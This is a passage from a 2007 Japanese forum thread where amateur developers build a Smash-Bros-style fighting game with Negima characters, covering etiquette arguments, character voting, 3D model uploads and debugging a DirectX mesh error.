限りは参加するんじゃない普通。ってかさ824で「スタッフの全員が現状を維
持できる保証は無く」って書いてるでしょ?一度足を踏み入れたら最後まで
やり通せってココで強制するのもどうかと思うよ。

846 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/08(木) 01:06:42 ID:DNzfSoWF
改行が多すぎるとエラーが出たので別けました。


それと・・・今回俺妄想書いてたかな?
案として「武器は全員共通がいい」というのがあったからそれに対して「固
有の武器は固有のキャラが使った方がいいんじゃないか?」と案を出した。
これって妄想か?この自分が出した案に対し「武器ありとなしでは攻撃範囲
が大幅に変わる所為で問題が出るかも」と思ったので、武器の使用に関して
も案を出したのだがそれも妄想ですか?

って・・・俺荒らしてるんかな;;;

>>844
どうでしょうね?ってか変な事書いてる俺
変だとしたらどの辺りが?具体的に指摘してもらった方がレスしやすいしw

847 : ◆57U1O5h1BM :2007/02/08(木) 01:15:20 ID:jaCZ6hjj
内容そのものの意見は悪くはないけど、書き方がケンカ売ってる感じがする。


>案として「武器は全員共通がいい」というのがあったからそれに対して「固
>有の武器は固有のキャラが使った方がいいんじゃないか?」と案を出した。

案として「武器は全員共通がいい」というのがあったからそれに対して「固
有の武器は固有のキャラが使った方いいと思います」と案を出したのですが
それのどこが悪かったのでしょうか?

848 :名前は開発中のものです。:2007/02/08(木) 01:20:03 ID:k1hdy6zK
書き方なんて掲示板、しかも2chであるいじょうグダグダ言う必要ないのでは?
なんていうか揚げ足の取り合いになってきてる気がする
名無しが言うのもなんだけどさ

849 :名前は開発中のものです。:2007/02/08(木) 01:23:48 ID:FfxkETKv
          ,、‐ ''"  ̄ ``'' ‐- 、
        /イハ/レ:::/V\∧ド\
       /::^'´::::::::::::i、::::::::::::::::::::::::::::\
     ‐'7::::::::::::::::::::::::ハ:ハ::|ヽ:::;、::::::::::::丶
     /::::::::::::::/!i::/|/  ! ヾ リハ:|;!、:::::::l
    /´7::::::::::〃|!/_,,、   ''"゛_^`''`‐ly:::ト
      /|;ィ:::::N,、‐'゛_,,.\   ´''""'ヽ  !;K
        ! |ハト〈  ,r''"゛  ,       リイ)|
          `y't     ヽ'         //
         ! ぃ、     、;:==ヲ   〃     落ち着けばいいと思うよ。
         `'' へ、   ` ‐ '゜   .イ
              `i;、     / l
                〉 ` ‐ ´   l`ヽ
            / !        レ' ヽ_
         _,、‐7   i|      i´   l `' ‐ 、_
     ,、-‐''"´  ノ,、-、 / 、,_ ,.、- {,ヘ   '、_    `ヽ、_
   / i    ,、イ ∨ l.j__,,、..-‐::-:;」,ハ、 '、` ‐、_   ,`ヽ
  /  l ,、‐'´ // ',/!:::::::::;、--ァ' /  `` ‐   `'7゛   ',
 /   l  i  ´  く   ';::::::l  / /         /     ',
/     ! l      \ ';:::l , '  /        i/     ',



850 : ◆57U1O5h1BM :2007/02/08(木) 01:26:25 ID:jaCZ6hjj
>>848
順調に製作できてるところはやっぱり敬語使ってると思うんです。
そのほうが反感を買い難いですし。

851 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/08(木) 01:28:23 ID:DNzfSoWF
>>847
書き方かぁ〜。最初(825)に書きましたがそういうキャラって事でw
でも書き方と言うのなら、モツ氏も相当だと思いますょ

>>848
たしかに<揚げ足取り
でも書いてることは間違ってないと思うんだけどなぁ〜;;;

>>849
落ち着けばいい・・・確かにw

852 : ◆57U1O5h1BM :2007/02/08(木) 01:35:23 ID:jaCZ6hjj
書き方じゃないなぁ、なんか言い方が・・・。

とりあえずこのままだらだら言ってもしょうがないので
ここらでやめときます。


853 :名前は開発中のものです。:2007/02/08(木) 01:38:43 ID:i4p4iNY4
|ω・`)ここもか

854 :名前は開発中のものです。:2007/02/08(木) 01:40:41 ID:ZJmod2Wk
よく読んでないけど、
案は案として提案して製作サイドに否定されたなら取り下げるべきだよ。
その後もっといい案がないか思考していろいろ提案すればいいと思うし。

それでもその案を通したかったら自分で作ればいいんだし、
とくに議論すべき内容じゃないし、責める内容でもないけど、
企画・提案で「どこが悪いか指摘してくれ」って言うのは甘えてるんじゃないかと、
企業じゃないんだからそこまで面倒見させるのは製作の邪魔をしてるのと変わらないよ。
これはよくないよ。


855 :名前は開発中のものです。:2007/02/08(木) 01:54:01 ID:e8ETc/Gx
はやくうごくエヴァが
みーたーいー

856 :名前は開発中のものです。:2007/02/08(木) 02:55:16 ID:bJR5Ilkp
よく読まずに発言しない方がいいんじゃないかと思う

857 :名前は開発中のものです。:2007/02/08(木) 03:02:44 ID:U11+fyKo
>>855
849のせいで初号機かと思たwww

858 :名前は開発中のものです。:2007/02/08(木) 03:50:59 ID:S8X9HRiB
エヴァンジェリオン

859 :名前は開発中のものです。:2007/02/08(木) 07:49:57 ID:SxuACYwf
君子は和して同ぜず。小人は同じて和せず。
…太古の中国の人は良い事言うね。


>>850
こういうのは、敬語じゃなくて慇懃無礼って言うんだよ。

860 :名前は開発中のものです。:2007/02/08(木) 08:52:57 ID:JxSzapYJ
とりあえず鴨ネギの空気の読めなさは異常

861 :名前は開発中のものです。:2007/02/08(木) 12:04:12 ID:bJR5Ilkp
昨日みてない間に随分と進んでたから読みなおした。
とりあえずどっちもどっちって感じだな。いや、最初に噛み付いたのは824に見える。

862 :名前は開発中のものです。:2007/02/08(木) 16:45:01 ID:r7/gz+/f
>>842
だから、意見を押し付けるだけなら
出てけって事だ。

要はぶつくさ言う前にプログラムを作れって事だ。
わかったなwww

863 :名前は開発中のものです。:2007/02/08(木) 20:01:48 ID:AuGggQqD
━━━━━━━━━━━━
  ここまで読み飛ばした
━━━━━━━━━━━━

864 :名前は開発中のものです。:2007/02/08(木) 20:32:43 ID:FfxkETKv
自分のクラスには空気の読めない奴も居れば中心になる奴もいる

865 :名前は開発中のものです。:2007/02/08(木) 21:49:23 ID:hGnSIZYb
長文を読めない自分にガッカリした

866 :名前は開発中のものです。:2007/02/08(木) 22:45:17 ID:t3nhQeC8
素数を数えて落ち着こうぜ

867 :名前は開発中のものです。:2007/02/09(金) 00:29:06 ID:oEbDZCEn
3.14159263‥

868 :名前は開発中のものです。:2007/02/09(金) 00:30:20 ID:KnYiqiHb
最後違うし素数じゃないし

869 :名前は開発中のものです。:2007/02/09(金) 00:49:26 ID:F1Ldz48c
ゆとり乙

870 :モツ ◆HhGCy3jtaE :2007/02/09(金) 00:58:35 ID:th8O2dhp
昨夜は申し訳なかった、大人げないと反省している

現在は新導入ソフトのチュートリアルを終え、素体を製作しているところ
汎用ボーンや髪や衣服の問題解決の為、来週一杯は研究期間にしたいと思うが
とりあえずの途中経過を週末か週明けにはUPしたい

>>843シチミ氏
アルファについての件、了解しました
モーションに少しギャップが出るかもしれないが
そちらでの処理が困難なら、髪だけのシーン等を作れる様に工夫してみる

リーダーに関しては無理をして決めなくてもいいだろう
各々が自分のパートに責任を持てばいいだけだし
大所帯になるとメンバーの状況を常に把握し、連絡を伝達する人物が必要になるかもしれないが

また、捨てアドでかまわないので>>791へメールを送って欲しい
スレが落ちた時や非常時には連絡を取るかもしれない
基本的にはスレオンリーで製作したいと思うのだが

>>ALL
今回の件のお詫びといっては何だが

スレ終了までの間、住人諸君から投票を行い
登場キャラを上位順から作ろうと思う
重複票などは気にしないで単純に票が多いキャラを選択する

たくさんの投票を期待しています

871 :名前は開発中のものです。:2007/02/09(金) 00:59:12 ID:6U5hV9yE
http://zetubou.mine.nu/timer/file/bomber35668_d3.zip
3Dで話を進めてるみたいだけどローポリてこんなんでいいのかな
フォルダ漁ってたら昔自分が作ったのが出てきたから暇つぶしにおいておくよ
UV展開してないけど素体にするなり解体するなり好きに陵辱してあげてください

あと、もし嫌になって2Dにするなら3Dsmaxって言うソフトの体験版を落としたときに
機能として「biped」って言う機能があるんだが。それはもう組みあがってる人形なんだけど
それをアニメのコマの分だけ動かしてアタリを作ってアニメーション描いていくと
なかなか効率的に進んでいい感じです

ゲーム作ったこと無いけどさ
3Dはゼロから始めようとすると大変ですぞ マジで
横から戯言でした

872 :名前は開発中のものです。:2007/02/09(金) 22:06:08 ID:Ppk3L6Mk
久しぶりに来たが、三行で流れを教えてくれ
長文連投が続いてて読む気しない

873 :名前は開発中のものです。:2007/02/09(金) 22:31:50 ID:bEiMoxyr
>>872
口だけ野郎は黙ってろ
口だけとは何だ口だけとは
ごめんなさい、一応謝ってやるぜ。

874 :名前は開発中のものです。:2007/02/09(金) 23:03:55 ID:RbjejA4T
>>872
鴨ネギ「おまい矛盾してね?フヒヒwwサーセンww」
モツ「口だけ乙。さっさと手を動かせ。やる気あんの?」
シチミ「ふぇぇ・・・みんなで仲良くやるですぅ・・」

登場キャラ一人一票かなぁ
とりあえずくーふぇ

875 :シチミ ◆pBwYa/I7TY :2007/02/09(金) 23:42:02 ID:p/dnlq5y
ふぇぇー

カメラワークそれらしいのが出来ました。
明日くらいにソースを見直してうpしてみようと思う。

キャラ投票は自分はメールで送ったのでー
まあ、言わなくてもわかってしまう気がしますが…。
前描いた絵とかで。

自分スマブラGCの少ししかやって無いので、記憶をたどって皆さんにお聞きしたい。
確かぶら下がりってアクションもあったよね?
パーセントって何パーセントまであがるんだっけ?

あくまでスマブラ風って事で何か面白そうな案とかありますか?
主にプログラム面で。

いきなりネット対戦とかは言わないでね。

876 :名前は開発中のものです。:2007/02/09(金) 23:49:43 ID:F1Ldz48c
とりあえずエヴァ様に一票

877 :名前は開発中のものです。:2007/02/09(金) 23:59:14 ID:c4Vjp7b4
>確かぶら下がりってアクションもあったよね?
>パーセントって何パーセントまであがるんだっけ?
端っこでつかまるぶら下がりアクションはあった
サドンデスで300%くらいだったと思う

>あくまでスマブラ風って事で何か面白そうな案とかありますか?
>主にプログラム面で。
声援システム…音声は無理ですねw

今旬(?)な超に一票
瞬間的に裏に回る反則的な移動に期待…行き過ぎて落っこちたりしてw


878 :名前は開発中のものです。:2007/02/10(土) 00:00:44 ID:EgpjoYSK
>>875
パーセントは999まであった気がするけどその前に吹き飛ぶww

ま、まき絵に一票

879 :名前は開発中のものです。:2007/02/10(土) 00:10:01 ID:1IPXIFOG
確実に作りましょうや

朝倉に一票

880 :モツ ◆HhGCy3jtaE :2007/02/10(土) 00:10:50 ID:dkT1QK7y
>>871
リンク先に物騒な単語が多過ぎて行く気がしなかったが、文章は至って正論
親切心痛み入ります
素体はリダクション前だが、約5割程度出来ているのでこちらを使おうと思う
ttp://gamdev.org/up/img/8882.jpg
まだ不完全だが、土日を使ってブラッシュアップしておく

881 :鴨ネギ ◆ZIgwiw50Hk :2007/02/10(土) 00:19:28 ID:F1f7TZIT
空気が読めない鴨ネギですwフヒヒ

なんかすごーく色々突っ込みたいけど辞めときます。
で一応作業はしてたよって事でネギのメタセコファイルをUPしておきます。
一応骨入り、テクスチャーも貼ったけど問題あり?

まぁそんな感じぃ〜♪
http://gamdev.org/up/img/8883.zip

882 :8 ◆jS1vbFJDVk :2007/02/10(土) 00:33:54 ID:m/CM4dp0
アスナに1票。

883 :シチミ ◆pBwYa/I7TY :2007/02/10(土) 00:39:19 ID:hpaRMoUq
お疲れ様です!

ネギ君ですねー
ちょっと質問。
早速メタセコ立ち上げXファイル形式に保存してみたのですが、
anchor胴|bodyというファイルももちろん一緒にXファイルに変換されます。

おそらくmikotoでボーンつける時に必要となる物でしょうけど、これってどうすればいいのかな?
解らなかったら自分で調べます。

あと、メタセコ表示でも、表示メニューのスムージング表示でも顔の色の違いがわかりますよー

頑張ってください。
鴨ネギさんは鴨ネギさんのやりたいことがあるのなら、自分でやればいいだけです。

884 :名前は開発中のものです。:2007/02/10(土) 00:58:58 ID:/iUpcVhu
アキラに一票

885 :鴨ネギ ◆ZIgwiw50Hk :2007/02/10(土) 01:02:58 ID:F1f7TZIT
>>シチミ氏
お疲れ様ですwえっと・・・anchor胴|bodyですよね???自分も実は詳しくは
判らないんです。参考にしたサイトは下記でして
http://www108.sakura.ne.jp/~witchcraft/mm/mm.html
ココの初めてのボーン&アンカーを参考にしてみました。anchor胴|bodyで
設定している範囲が骨と一緒に動く範囲なんだと思います。サイズを色々
いじってそんな感じだったのでw

あ・・・確かにスムージング表示だとわかりますね。でもちょっと質問。
実際ゲームで動かす場合って板ポリ状態(スムージング処理してない)で
表示するんですよね?その場合もやっぱりテクスチャーの有無の差は激し
くなるんでしょうかね???

あとカメラワーク実装お疲れ様です。例えば実際のゲームを想定してカメラ
ワークに関係なく表示されるエリアの指定なんかはどうでしょう?<次のお題?
キャラクターのHPやタイム表示などがされるエリアなんかは固定になる訳だし。
あとは・・・例えば必殺技などを使用した場合2Dの画像が出る感じってよく見ます
よね?あんな感じで3Dカメラワークとは関係ないエリアの設定みたいな感じは
どうでしょう???

それではカメラワーク実装版楽しみにしてますw

886 :名前は開発中のものです。:2007/02/10(土) 01:59:26 ID:zQ5Hs0Rj
自分は何もできないのでキャラ要望するのにも抵抗がある…


フェイト君に一票!
陰ながら応援してます。俺もなんか手伝えればいいんだけど


「誰だって最初はできねぇ。そんなのやる気次第だろ!」
そうですよね…

887 :シチミ ◆pBwYa/I7TY :2007/02/10(土) 02:06:17 ID:hpaRMoUq
表示してみた。
Xファイルに変換するために
ボーンとかいったん削除させていただきました。
元のデータは残してありますのであしからず。

http://gamdev.org/up/img/8885.zip
カメラワークまだ途中なので。

で、実際表示してみたら、今のレンダリングステートでは、こんな感じ。
設定しだいで確か出来たはず。(スムージング表示みたいなの)

結果は一目瞭然だと思うけど、ライトの方向で解る所がありますね。
やはり、データ的にちょっと違うかも。光の反射率とか。テクスチャーとマテリアルで。
詳しくはちゃんと見ないとわかんない。

それと、現状mikotoのデータをXファイルに変える事は難しいらしいです。
自分で作るか、ツール探してみます。無料の。

888 :シチミ ◆pBwYa/I7TY :2007/02/10(土) 02:13:20 ID:hpaRMoUq
>>886
投票だけでもありがたい事だと思います。

案とかだけでもいいと思いますよ。ゲームシステム的な事なら自分におっしゃってくださいー。
それともうちょっとしたら、地獄のデバックが待ってるかもしれませんが…

889 :名前は開発中のものです。:2007/02/10(土) 03:44:04 ID:5y6WcW07
ゲムデブアプロダ重すぎ

890 ::名前は開発中のものです。::2007/02/10(土) 10:33:54 ID:J2A/BURg
ここで最弱であろう。 アルベール・カモミール(カモくん)に一票。



891 :鴨ネギ ◆ZIgwiw50Hk :2007/02/10(土) 13:44:58 ID:NZbGpdbl
>>シチミ氏
お疲れ様です。ネギのデータは幾らでも変更しちゃって大丈夫ですから
気にせずいじり倒してくださいwそれと光の反射率の設定間違ってました;;;
とりあえずその辺も修正したものを懲りずに上げてみました。

http://gamdev.org/up/img/8889.zip

それとちょっと質問が。ゲーム中で同キャラ対決になった場合、其々の
キャラクターカラーを変更する事になると思うのですがどのように設定し
たら良いんでしょう?プログラムで対応する感じなのだとは思うのですが
モデルの方でもあわせなきゃいけない感じがしたもので。
ネギで例えるなら服の色を変更するとか髪の色を変更するとかで対応する
事になると思うのです。でも服の場合はマテリアルの緑とテクスチャーの
緑が存在しますし、テクスチャーカラーとマテリアルカラーも現状では微
妙に違うんです。完全にマテリアルカラーにあわせておいた方が良いでし
ょうか?

それと現在のネギ君は「三角化」していない状態なのですが、三角化はし
ておいた方が良いですか?そうすると現状1300弱ポリが倍になる感じです
よね;;;

とりあえずこんな感じで。
あ・・・Mikotoで難しいなら他のソフトで設定した方が良さそうですね。まだ
動作をひとつも設定してませんし、他のソフトで対応できるならそちらの
ツールの使い方から覚えることにします。自分もツール探してみますねw

それでは

892 : ◆57U1O5h1BM :2007/02/10(土) 15:15:03 ID:IGiXDAzb
当たり判定(ダメージ)の追加、HPの追加。
これである程度は組めるようになりました。

http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0122.zip

>>モツ氏
いい感じにモツを表示できてるので他の動作もいただけると助かります。

893 :名前は開発中のものです。:2007/02/10(土) 16:11:59 ID:BTUgcdyS
モツ、シチミ、鴨ネギ氏は、ほぼ毎日製作に取り組んでいるようですが、
ゲーム製作のどういった点が、貴重なプライベートタイム(働いておられる
方達だろうと想定した発言)を使うほどに魅力や有意義さを感じさせている
のですか?

894 :名前は開発中のものです。:2007/02/10(土) 17:39:09 ID:5y6WcW07
はじめはがむしゃらに作業して楽しいんだけど、
やってるうちにその辺に自問自答しながらフェードアウトしていくんだよなw

895 :名前は開発中のものです。:2007/02/10(土) 19:07:06 ID:zQ5Hs0Rj
自分の好きな事をやっている時は楽しいもんだよ。時間を忘れてしまうくらい。プログラムのデバッグは正直ウザイけどね。

俺もゲームを作った事があるが、出来はどうであれ作ってる時は楽しかった。

まぁ人によるけど

896 :名前は開発中のものです。:2007/02/10(土) 19:27:30 ID:YyDniWoY
作るキャラはそれなりに人気の有るキャラでそれでいて動きが確立?してるキャラがいいと思う
てことで、ネギ・エヴァ・刹那・明日菜・古菲・楓・まき絵あたりがいいのかなぁ?

897 :モツ ◆HhGCy3jtaE :2007/02/10(土) 20:19:10 ID:cYjHdyxI
フィギュメイトチックに素体を調整中、もう少し修正してからリダクションする
ttp://gamdev.org/up/img/8891.jpg

>>◆57U1O5h1BM氏
素体にボーンを入れ、異なるモデルとモーション共有の実験をするので
後でモツにも適用してみようと思う
画像は来週中にUP出来ると思うのでしばしお待ちを

>>896
それぞれ1票ずつ加算しておく事にする

集計したところ、刹那、古菲、エヴァ、明日菜、まき絵が1位タイ
他のキャラも横並びしている、集計はスレ終了までこのまま続行する予定

898 :名前は開発中のものです。:2007/02/10(土) 20:24:27 ID:eEsDNDcL
>>893
ゲーム製作は費やした時間に比べて、得る物も活かせる場所も正直少ない。
だからといってゲーム製作を馬鹿にしてはいけない。
「作りたいから作る」は立派な理由。

899 :名前は開発中のものです。:2007/02/10(土) 21:26:12 ID:R0wqvwJg
>>893
呪いだよ呪い。
視界に入るもの全てを電脳世界に展開しなければならないという脅迫概念。
物を見れば三面図にし、動きを見れば弾道計算をせずにはいられないのだ。

900 :名前は開発中のものです。:2007/02/10(土) 21:30:15 ID:3dBLRQ1o
習得したものと浪費した時間を人生視点で見たら色々と無駄は多いよね。
ま、ゲ製作という選択肢があっても別にいいんでないかい?
本人達の気持次第なんだし。

901 :鴨ネギ ◆ZIgwiw50Hk :2007/02/10(土) 21:35:01 ID:NZbGpdbl
なんだか面白そうな話題なのでのっときますw

>>893
えっと、自分の場合はあんまり考えずに作業してるんで、何故作るのか?的な
質問にはなかなか答えづらいところがあります。まぁ895氏が言っている様に
楽しいから作るってのが一番あってる気がします。それと時間はそんなに掛け
てないかも。長くても1日2時間ぐらいだし(しかもその間に他の事もしてる
から厳密に言えばもっと短いかも)って全然答えになってませんね;;;

>>894
そうですねぇ〜。自分的には「自問自答の末フェードアウト」ではなく「単純に
飽きてフェードアウト」って感じですね。何て言うんでしょう、やっぱり刺激が
必要♪みたいな。

>>898
確かに。<得る物も活かせる場所も
まぁでも作るって時点で何かしらは得ているんだと思いますよ。最初から何かを
得る為に活動するなら、こういう場所でこういう事はしないでしょうしw

まぁそんな感じで。
あ・・・参考の為に今日はじめて「フィギュメイト」を買ってきました。
はずいのでコソコソと「ドラキューバージョン」を2個買って(?)逃げて
きたのですが、2個とものどかでした。まぁ水着だし素体的な感じで見れる
からいいんですが、微妙;;;

902 :名前は開発中のものです。:2007/02/10(土) 21:48:47 ID:BW/bEwdo
>>874
サンクス
なんかコテが増えて足引っ張り合ってるだけか
了解

903 :名前は開発中のものです。:2007/02/10(土) 21:55:57 ID:BTUgcdyS
>>894-895 >>898-900 鴨ネギ氏
こんなに意見を頂けるとは。ありがとうございます。
ゲーム製作に取り組むのは、'楽しいから'と'呪い'に寄って立つ
所が大きいんですね。

自分の書き込みを見直すと否定的な立場からの質問にとられて
しまいそうな文面ですがそうではなくて、先を見据えた何かが
あれば是非教えて頂きたいと思った次第でして。文章構成力が
無いのはゆとりの弊害。大変お騒がせしました。(m_ _)m

904 :名前は開発中のものです。:2007/02/10(土) 22:35:49 ID:5PF0IMyQ
>>902
一ヶ月もすれば元に戻るよ。

あ、失礼。
コテのまま何もしないで居座ったり、
名無しで新プロジェクトを粘着叩きする厨房は残るがなww

905 :名前は開発中のものです。:2007/02/10(土) 22:53:59 ID:QJ5ZrQ2J
長文が多すぎて流れがわからんが
とにかくがんがれ!
期待してるYO!


906 :名前は開発中のものです。:2007/02/10(土) 23:13:03 ID:iHmzTDun
ネタバレしちゃうと最終話はOP・ED共に全員Ver


907 :名前は開発中のものです。:2007/02/11(日) 00:33:58 ID:6uJcpznf
正確には全員死亡プラス全裸で空飛んでるver

908 :名前は開発中のものです。:2007/02/11(日) 10:00:52 ID:XQBH5jdU
「製作がんばって」って軽くいうけど、それってゲ製作が非生産的なものであろうとそこは盲目になって
俺たちの暇つぶしの為に無償で貴重な時間費やしながら完成させてね。ってことになもなるから、
製作を手伝えない立場なら、応援したい気持ちは心に留めえておくに限る。
スタッフは応援貰ったほうがモチもあがるし嬉しいだろうけど、俺は頑張ってなんてとても言えない。


909 :名前は開発中のものです。:2007/02/11(日) 10:24:21 ID:1CSQB1y9
開発してる奴以外は邪魔者だってことだ
大人しくROMってろってことだ

910 :名前は開発中のものです。:2007/02/11(日) 11:12:28 ID:CWS1yavy
ま、ゲ製作なんて軽い祭りみたいなもんだし、踊る阿呆に見る阿呆理論でいこうよ。
ずっと祭りだと思ってさ。バーチャルにリアル持ち込むなや。

911 :名前は開発中のものです。:2007/02/11(日) 12:39:04 ID:aPbU0ftS
職人さんは名無しさんの為にゲームを作っている訳でもないし、
名無しさんは職人さんにゲームを作ってもらっている訳でもない。
あくまで自分自身との戦いなんだぜ。

古来より伝わる名言を引用すると
「例によって、君もしくは、君の仲間がとらえられ、あるいは殺されても、
当局は一切関知しないから、そのつもりで。幸運を祈る。」

912 :名前は開発中のものです。:2007/02/11(日) 17:29:05 ID:Bc7K6ch5
そうそう、究極の物好きっていうか…

しかし名言イミフメ。

913 :名前は開発中のものです。:2007/02/11(日) 19:57:09 ID:XzjToMCL
応援くらいはいいんじゃないの?
作ってる方も嫌な気はしないと思うんだけど

914 :シチミ ◆pBwYa/I7TY :2007/02/11(日) 21:32:34 ID:2QkzP8SJ
時間がかかってしまった。
http://gamdev.org/up/img/8906.zip
前回のにそのまま上書き。

Zキー、もしくはジョイステックの1ボタンでズーム。
ただ、それだけ。

以外に大変だったー。
コレでキャラクター増えていくと大変だなー
デバックが。

そろそろメインのシステム作っていこうかなー。
ルールまったく同じでいいかな?ふっとばしてKOみたいな。

どのくらい飛べばKOになるか知らないけど。

少なくても自分は名無し…というより誰か一人でも楽しんでもらえればいいかな。
ってくらいでゲーム作ってるよ。
だから、名無しさん達の意見をなるべく取り入れたいと思うし、
応援は励みになります。
手伝いたいけど何もできないっておっしゃる名無しさんは
その心だけでもうれしいですよー。

みなさんありがとうございます。自分ひとりではゲーム完成できませんが、
自分の出来ることなら精一杯努力します。

915 :鴨ネギ ◆ZIgwiw50Hk :2007/02/11(日) 23:06:30 ID:kohjU8DI
物好きの鴨ネギですwあ・・・ちなみに自分は「名無しは邪魔だ」なんて全く
思いませんのでガシガシ書いたら良いんじゃない?って感じでお願いします。
えっと、とりあえずネギくんのモーション作成をどうするか悩んでいたのです
が出来る事を進めてしまおうと思いましてネギ素体を修正改造して「のどか」
を作ってみました。まだ上半身裸ですが;;;

http://gamdev.org/up/img/8911.zip

今回は製作用素体も入れてあります。あんまりネギ君とは変わってない様に
見えるかもしれませんが、微妙に足の曲がり具合とか腰周辺とかいじってた
りしてます。あ・・・そぅそぅスカートの中も見えたりしないとマズイかなと思
いましてそういう感じで作っておきました。まぁそんな感じでw

>>シチミ氏
お疲れ様です。早速DLさせて頂きました。カメラアップいい感じですねw
でも微妙にモツのお腹の辺りがX軸方向につぶれているのは何故なんでし
ょう???
それと以前のバージョンではZ軸方向にも移動できた気がするんですが、仕
様変更ですか?自分スマブラってやった記憶が殆どないんでよく判らないん
ですが、あれってZ軸方向には動かないんでしたっけ?

916 :名前は開発中のものです。:2007/02/12(月) 00:20:55 ID:J72en7o5
空気が変わったな

917 :シチミ ◆pBwYa/I7TY :2007/02/12(月) 00:23:54 ID:KTWYZdpJ
返答だけ。

お腹つぶれているのはアルファポリゴンを教示したため。
現状、アルファポリのXファイルにおける表示の順番調整がされていないため、
アルファポリ表示した後、それより後ろのポリゴンを新たに表示しようとして、ああなる。
つまり表示できなく、抜けます。
アルファポリを最後に表示するよう改造すればいいんだろうけど…

スマブラは左右移動で、上がジャンプ、下がしゃがみってウィキペディアに書いてた。
ちなみに最初からZ方向に移動してません。ただ、モデルのズレがあって、手前、奥方向に
振り向くと、ちょっと前に出たような感じに見えます。
ちなみにプログラムで修正できる程度なので特に気にしてませんでした。
どうせ、その方向すら向かなくなるし。

もしかしたらですが、スマブラって大乱闘スマッシュブラザーズであってますよね。
もし違う略だったら自分死ぬほど恥ずかしいんですが…。

のどか頑張ってください

918 :名前は開発中のものです。:2007/02/12(月) 01:00:04 ID:cqiZueqq
Init ok
getpath ok
CreateApp ok
CreateDirectX ok
Init All Ok
Next..

「メッシュの生成に失敗」と出たんですが何が起きたんでしょう?
今回初導入です。8885に8911を上書きしました。
スペックは
XP Home Edition sp2
Pen4 CPU 1.59GHz
512MB RAM
NVIDIA GeForce2 MX オンボード
XP発売当初のロースペックパソコンです。限界でしょうか?


919 :名前は開発中のものです。:2007/02/12(月) 12:52:11 ID:2VQMJzu9
>>911
戦の場を間違えてるのにそのうち気付くのさ。
辞めてく奴の半数がそれ。半数は飽き。

920 :名前は開発中のものです。:2007/02/12(月) 17:29:26 ID:cqiZueqq
ちょwww
いつの間にかできてる
ttp://www26.atwiki.jp/setsuna-mugen/
さっそく導入!!

921 :名前は開発中のものです。:2007/02/12(月) 17:48:37 ID:rEVEaInu
宣伝乙
アルカナのカムイのモーションに刹那を乗せただけじゃないか

922 :名前は開発中のものです。:2007/02/12(月) 18:00:22 ID:3yYKowVq
>>920
つまんなそう

923 :シチミ ◆pBwYa/I7TY :2007/02/12(月) 19:29:56 ID:AwU25/Cz
>>918さん
返答遅れてスミマセン。
メッシュの生成に失敗と言うことは、Xファイルのデータが壊れているかもしれません。
もう一度DLをしてみていただけませんか?
それと、一度単体の8885.zipだけ解凍、起動してみてくださりませんか?

上書きしたファイルが8911となっていましたが8906.zipの打ち間違いだと思いますが、
もう一度確認の上上書きしてみてください。

システム的には98でも起動すると思うので大丈夫だと思うのですが、
上記の方法で駄目でしたら、ビデオカードのアップデート、
DirectXのアップデートを試みていただきたいです。

メッシュの生成に失敗なのでおそらくはXファイルが壊れているのだと思いますが。

こちらでも、DLして上書きしたらきちんと動いたので、アップしたファイルは大丈夫だと思います。

もしこれでも駄目だったら、個別にテストのご協力をお願いできますか?

924 :名前は開発中のものです。:2007/02/12(月) 19:37:26 ID:h2w4dr8e
MUGENであることに意味がある

925 :名前は開発中のものです。:2007/02/12(月) 19:46:28 ID:mmH1ga5o
>>923
よう。佐藤。

926 :シチミ ◆pBwYa/I7TY :2007/02/12(月) 20:18:47 ID:AwU25/Cz
>>925
やあ。

927 :名前は開発中のものです。:2007/02/12(月) 20:32:24 ID:cqiZueqq
>>シチミ氏
できませんでしたorz
directXの再インストールからビデオカードのアップデート
8885の単体起動どころか、さらに昔のものも無理でした。
よろこんでテストに協力させていただきます!!

928 :シチミ ◆pBwYa/I7TY :2007/02/12(月) 21:16:19 ID:AwU25/Cz
>>927
出来ませんでしたか…。
どうやら調べてみたら、ビデオカードの種類によって起こる可能性があるみたい。
テストご協力ありがとうございます。

ちょっと、2〜3日くらいかかるかもしれません。申し訳ございませんが、よろしくお願いいたします。

929 :名前は開発中のものです。:2007/02/12(月) 21:32:56 ID:cqiZueqq
>>928
いえいえこちらこそ。よろしくお願いします。

930 :朝倉和美 ◆ecegNbNqok :2007/02/12(月) 23:08:03 ID:HlGLa/u7
>>928 シチミ氏
大分長い間此方にはこれませんでした
多分再来週?(長いテスト週間)ですのでくらいまで来れない日が続きます
申し訳ないです

931 :朝倉和美 ◆ecegNbNqok :2007/02/12(月) 23:16:52 ID:HlGLa/u7
連レススイマセヌ
それとまとめページの方 こちらで制作することになりました
こちらのうpもテスト後になるかと思います

932 :名前は開発中のものです。:2007/02/13(火) 03:14:02 ID:dQowr01S
というか君だれ?

933 :名前は開発中のものです。:2007/02/13(火) 11:09:23 ID:4BQcjGBT
有能で勤勉なスタッフは神職人に。
有能で怠惰なスタッフはリーダーに。
無能で怠惰なスタッフはまとめ人に。
無能で勤勉なスタッフは適当にスルー。

神職人は「高い評価を得るゲームを考える」
リーダーは「最悪でも動くゲームを作る」
まとめ人は「全てのレスを吟味し、率先して地雷を踏む」
四番目は「誤った作業やレスを延々と続けて足を引っ張る」

934 :名前は開発中のものです。:2007/02/13(火) 12:17:34 ID:ZnYjQURO
なにそれヘルシング?

935 :名前は開発中のものです。:2007/02/13(火) 13:13:41 ID:1gverTYc
>>933
おつかれモツ
鴨ネギがチョロチョロしてるのがうざかったんだな

936 :名前は開発中のものです。:2007/02/13(火) 14:02:48 ID:UKCyYC/p
>>934
「ハンス・フォン・ゼークトの組織論」が元ネタだと思う。
(ただし、ゼークトの著書に「組織論」というものは存在しない)

937 :名前は開発中のものです。:2007/02/13(火) 20:43:49 ID:pRkN8c7i
お前らひでーな。
自分は無能の癖に、率先してやってくれている人たちかける言葉がそれか?

938 :名前は開発中のものです。:2007/02/13(火) 21:51:58 ID:dQowr01S
無能が言うことじゃないな

939 :名前は開発中のものです。:2007/02/13(火) 21:58:27 ID:lNv8oaZ3
素数を数えて落ち着けって。

940 :名前は開発中のものです。:2007/02/13(火) 22:05:29 ID:Sn/t64gY
これはどこかで見た流れ!

3

941 :名前は開発中のものです。:2007/02/13(火) 22:21:17 ID:TyS6vQWS
率先して「やってくれてる」?
お前大丈夫か?

942 :シチミ ◆pBwYa/I7TY :2007/02/13(火) 23:39:19 ID:HEPQBc1U
無能…それは自分にぴったりです。

